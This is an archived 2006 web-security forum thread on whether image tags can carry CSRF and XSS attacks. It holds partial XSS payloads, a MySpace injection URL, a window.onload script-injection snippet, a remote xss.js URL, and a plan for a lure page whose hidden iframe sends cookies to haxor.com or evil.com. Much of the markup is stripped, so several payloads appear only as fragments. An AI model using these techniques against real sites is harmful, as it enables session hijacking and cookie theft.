CSRF from inside image tags, discuss please

Re: CSRF from inside image tags, discuss please

maluc — Tue, 05 Dec 2006 13:51:01 -0600

ah, i was making the assumption it wasn't XSS and similar to the normal 'pick your remote image for an avatar' .. but if you can insert " quotations in that, onerror is definitely the way to go.

-maluc

Re: CSRF from inside image tags, discuss please

rsnake — Tue, 05 Dec 2006 10:25:52 -0600

Or how about that would work too. ;) But if you are JUST talking about CSRF and not XSS the answer is no... you can't force the browser to go anywhere other than request a page. It won't "go" there as in render the content inside of the image tag, but it will send the browser there and act as a "click" regardless if the page you request is an image or not.

Re: CSRF from inside image tags, discuss please

maluc — Mon, 04 Dec 2006 22:39:15 -0600

nope.. only in IE6. with

can't do it in firefox or ie7 though.. in those, it's only useful for CSRF that doesn't require an XSS or POSTing

-maluc

Re: CSRF from inside image tags, discuss please

bobstar — Mon, 04 Dec 2006 22:06:44 -0600

Is it possible to execute anything on the _current_ page where the img tag resides ?

I'd like to e.g. forward the page to some other URL or execute some javascript...

Re: CSRF from inside image tags, discuss please

sjensen — Thu, 09 Nov 2006 17:01:46 -0600

Strange...must be an ASP.NET thing because the window.attachEvent doesn't work. It renders the code to the page, but it doesn't execute it...

Re: CSRF from inside image tags, discuss please

maluc — Thu, 09 Nov 2006 16:29:31 -0600

hrm.. ya my logic was a bit flawed on that one.. because just appending the script tag (or anything) to the document was enough to cause the error while loading.. so the only surefire way is to either:

A) when it's for XSS, which injects html not javascript - use the defer tag.. i.e.

http://myspace.com/profile?id=">
or





B) when it's for XSS which injects into javascript code.. add a function to the window.onload event to insert that remote script to the document. this has a drawback of not executing until the page fully loads - so if that's unacceptable, the only choice is to inject the entire exploit into the local javascript.





an example of window.onload appending that doesn't overwrite existing window.onload events (overwriting might badly break a page):


if(window.attachEvent){window.attachEvent('onload','exploit')}function exploit(){alert('exploit code goes here')}



That only works for IE .. to work in firefox too, add an else if(window.addEventListener){window.addEventListener('load','exploit',false)}Thank IE for not following w3c standards.





All that replaces the blah in  .. hopefully i didn't overcomplicate the explanation (or make mistakes, too lazy to test but should work fine)





-maluc

Re: CSRF from inside image tags, discuss please

sjensen — Thu, 09 Nov 2006 14:18:09 -0600

Adding the "defer" didn't prevent the error, but that's okay, because by adding that script it actually causes the application to crash anyway...

I did another test using xss that locked the application in an infinite loop posting the cookie value to another domain, then doing a history.back, then it reposts, then back, etc...also causing the application to crash...

Re: CSRF from inside image tags, discuss please

maluc — Thu, 09 Nov 2006 14:01:23 -0600

oh sorry, i forgot to add defer.. IE freaks out if you add anything to the document innerHTML before the page finishes loading.. adding DEFER should solve it:

');document.body.appendChild(x)">

btw, i can't tell you how long the damned error took me to debug the first time i ran across it ^^;

-maluc

Re: CSRF from inside image tags, discuss please

sjensen — Thu, 09 Nov 2006 13:54:36 -0600

I change the url, still got the same "IE can't open the internet site..." error message, but it did throw the alert with the cookie in it...

Re: CSRF from inside image tags, discuss please

rsnake — Thu, 09 Nov 2006 13:25:18 -0600

That's retarded. Why do people keep blocking this domain? That's easy enough to get around. I threw the xss.js file on fthe.net:

http://fthe.net/xss.js

Re: CSRF from inside image tags, discuss please

sjensen — Thu, 09 Nov 2006 13:12:40 -0600

I pasted the above script in but received a "Internet Explorer can't open the internet site." This maybe because my company has the ha.ckers.org site blocked.

btw, I'm running IE 7.

Re: CSRF from inside image tags, discuss please

maluc — Thu, 09 Nov 2006 12:49:11 -0600

yes, alert can be any javascript code.. so insert an entire exploit or just load a remote script

');document.body.appendChild(x)">

the remote script has full access to the DOM, including cookies

as for the iframe not working.. that may be ie6 only.. to lazy to consult the XSS cheat sheet

-maluc

Re: CSRF from inside image tags, discuss please

sjensen — Thu, 09 Nov 2006 12:25:24 -0600

Just tried them...

The first one ()
renders the iframe with a 404 page, no alert is executed.

The second one () worked! It threw up the alert box.

So the next thing is...how can it be exploited maliciously??

Re: CSRF from inside image tags, discuss please

rsnake — Thu, 09 Nov 2006 12:19:03 -0600

sjensen, without seeing the page it's hard to tell but did you try things like

and

Re: CSRF from inside image tags, discuss please

rsnake — Thu, 09 Nov 2006 12:17:37 -0600

Nice find! I used to think Yahoo was pretty good about this sort of thing.

Re: CSRF from inside image tags, discuss please

sjensen — Thu, 09 Nov 2006 12:16:02 -0600

Yes, I may have mixed up my acronyms. Here's why I ask. The developers in my department use various 3rd party rich textbox controls in their applications. Most I have tested do not allow will obviously just insert the cookies for evil.com

That's where XSS comes in - injecting that javascript into myspace..

http://myspace.com/profile?id=">

You'll probably have to hex encode the + to %2B among others. and this will send the myspace cookies to haxor.com

This has nothing to do with CSRF though, all XSS. And to make the link more subtle.. send them to evil.com/happykittendance.html .. and inside your happykittendance.html include the following:

">

When they visit happykittendance.html .. a hidden iframe will eat their cookies - using only XSS

-maluc

Re: CSRF from inside image tags, discuss please

rsnake — Thu, 09 Nov 2006 10:19:01 -0600

Unfortunately no, that won't work in the way you typed it, unless there were some very strange circumstances where they replaced anything that said "document.cookie" on a page with the cookies in question (which will never happen in the wild).

You can use iframes or images to automatically log people out through CSRF, but capturing the usernames and passwords upon re-login requires something more than CSRF. And btw, if you can enter an iframe you can use JavaScript which takes out outside the narrow band of CSRF only.

Re: CSRF from inside image tags, discuss please

sjensen — Thu, 09 Nov 2006 10:09:23 -0600

Is it possible to access cookies through CSRF attacks??

Example: (I haven't gotten these to work)

or

I read on another thread creating an iframe to automatically log a person out, then access their username/password when they are forced to log back in...

Re: CSRF from inside image tags, discuss please

rsnake — Thu, 19 Oct 2006 10:29:46 -0500

tehryan, that's a cool bookmarklet... what would be even better is if you had a stripped down version that did what the WebDeveloper plugin does and just reversed ever form method for you so you didn't have to go through and change them one at a time. Very cool though. And btw, if you are looking for jobs, stay tuned on the job board. I get lots of offers thrown my way and many of them are entry level.

Re: CSRF from inside image tags, discuss please

Kyran — Thu, 19 Oct 2006 01:34:56 -0500

Opera.

Re: CSRF from inside image tags, discuss please

maluc — Thu, 19 Oct 2006 00:09:56 -0500

menusetup in firefox or opera?

-maluc

Re: CSRF from inside image tags, discuss please

Kyran — Wed, 18 Oct 2006 23:52:51 -0500

There is a menusetup similar to the WebDeveloper extension that does these things as well.

Re: CSRF from inside image tags, discuss please

maluc — Wed, 18 Oct 2006 19:31:19 -0500

useful for those on Opera/Safari.. but for those using Firefox, it's included in the WebDeveloper extension and works quite nicely.

-maluc

Re: CSRF from inside image tags, discuss please

tehryan — Wed, 18 Oct 2006 19:21:17 -0500

WhiteAcid Wrote:
-------------------------------------------------------
> Ah. Well... then it's pretty much impossible.
>
> >As a side note a lot of applications can switch
> between GET and POST seemlessly
> perhaps JSP, CGI and ASP applications, but most
> PHP developers now properly use $_GET and $_POST
> and have register_globals turned off.

HTTP form method strictness is actually a lot less common than you might think. I've designed a few bookmarklets that I use for web app pentesting, one of which can be used to simplify checking if an application is GET/POST strict.

http://yaisb.blogspot.com/2006/08/new-bookmarklets.html

The one I'm talking about is called methodToggle ...
it will open a dialogue box, listing all the forms and there methods, you pick one by its index number, and that forms method will be switched.

Re: CSRF from inside image tags, discuss please

rsnake — Wed, 20 Sep 2006 12:17:04 -0500

Response splitting doesn't actually make two requests though... it makes the original request (GET) and then forges a second request with whatever you want. You're still requesting a GET method though. Unless you mean that the second time you go there the caching server will only look at the second (spoofed) request since it was the one that was cached.

To your second point if you can inject HTML this is a moot point. His question is if you just start with an image tag referencing your domain can you change it to POST method.

Re: CSRF from inside image tags, discuss please

kirke — Wed, 20 Sep 2006 11:59:57 -0500

> I guess POST can never be "done" from an tag,
and
> .. it should be impossible to cause a request for an embedded resource to use POST. (If this is not true, I'd consider it a browser bug.)
I disagree to the browser bug. Could be a typical web application security problem too.

Consider that the img src= gets injected a link to a server which is prone to HTTP Response Splitting, or in short words: to %0d%0a attacks. That should be sufficent to send a POST request following the initial GET request.

Not really an answer to the initial question: inside img tag, but:
consider you can inject any HTML code, then you can add your own form with POST
Without JavaScript involved, the victim at least needs to click somewhere.
Note that HTML injection is the basic form of XSS, but no scripting involved.

Re: CSRF from inside image tags, discuss please

shiflett — Sun, 17 Sep 2006 21:41:39 -0500

To add to RSnake's reference to RFC 2616, here's another relevant section:

http://www.apps.ietf.org/rfc/rfc2616.html#sec-9.1

Requests for embedded resources use GET, and the specification requires GET to be both safe and idempotent. This should, in theory, protect against any CSRF attack that uses GET. Unfortunately, this is not the case - web developers can easily make GET neither safe nor idempotent. (This is not just a PHP problem with register_globals and $_REQUEST. I know plenty of other web technologies that make it easy to ignore the distinction for those who choose to do so. It's also why many people encountered problems with the Google Web Accelerator.)

To answer the original question, it should be impossible to cause a request for an embedded resource to use POST. (If this is not true, I'd consider it a browser bug.) Sure, you can use other attributes in the image tag to execute JavaScript, but that's just using XSS to launch your CSRF attack (a useful combination, but not specific to image tags).

There are a few techniques that let you silently submit POST requests. I'm assuming you're not asking about these, right?

Re: CSRF from inside image tags, discuss please

Ambush Commander — Fri, 01 Sep 2006 15:32:38 -0500

MediaWiki uses GET for a lot of things that shouldn't use get. Fortunantely, they also use tokens which mitigates the risk somewhat (woe to anyone using a Web Accelerator though...)